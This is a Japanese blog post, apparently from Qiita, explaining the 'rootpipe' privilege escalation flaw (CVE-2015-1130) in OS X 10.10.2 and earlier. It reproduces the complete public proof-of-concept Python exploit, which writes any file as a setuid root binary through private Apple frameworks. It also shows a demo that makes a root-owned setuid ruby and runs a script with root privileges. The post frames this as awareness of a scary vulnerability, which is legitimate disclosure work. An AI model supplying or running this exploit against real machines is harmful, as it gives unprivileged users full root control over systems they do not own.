Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
13
Help us understand the problem. What is going on with this article?
@ymmtmdk

OSX10.10.2以前で一般ユーザーからrootへ昇格できる脆弱性「rootpipe」が怖い

More than 5 years have passed since last update.

概要

表題のrootpipeの詳細とExploitが公開されました。
https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

OSX 10.10.2以前で、任意のファイルをrootの所有にできる + setuidもつけれる = root権限でやり放題、という脆弱性です。この脆弱性はOSX 10.10.3(Yosemite最新)にて修正されましたが、10.9(Mavericks)以前のバージョンには修正予定がないそうです。

実演

上記サイトのExploitをrootpipe.pyとして保存します。

rootpipe.py
########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool

このExploitでは、PythonからObjective-CにアクセスするPyObjCというライブラリを使ってるのでこれを入れます。

easy_install -U pyobjc-core && easy_install -U pyobjc

これで準備は完了。任意のファイルをコピー、昇格出来るようになったので、ここでは使い慣れたrubyを昇格させたrrubyというファイルを作ってみます。

$ python rootpipe.py `which ruby` rruby
will write file /private/tmp/rruby
Done!
$ ls -l rruby
-rwsrwxrwx  1 root  staff  9240  4 10 08:45 rruby

ls -l rrubyの結果を見てください。rootの所有かつsetuidが設定され(-rw's'となってる)かつ、だれでも実行できるようになっています。ここでsetuidについて簡単に説明すると、実行ファイルを実行者の権限ではなく、所有者の権限で実行させる仕組みです。この脆弱性では任意のファイルがrootの所有物として作成できるので、setuidが組み合わさることにより、任意のファイルが実行者にかかわらずroot権限で実行できるわけです。

さて、好きなRubyスクリプトがroot権限で実行できるようになりました。なんでも出来るんですがここでは穏便にファイルを作るだけにとどめます。

touch.rb
`touch a`
$ ./rruby touch.rb
$ ls -l a
-rw-r--r--  1 root  wheel  0  4 10 08:51 a

成功しました。怖いですね。

13
Help us understand the problem. What is going on with this article?
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ymmtmdk

Comments

No comments
Sign up for free and join this conversation.
Sign Up
If you already have a Qiita account Login
13
Help us understand the problem. What is going on with this article?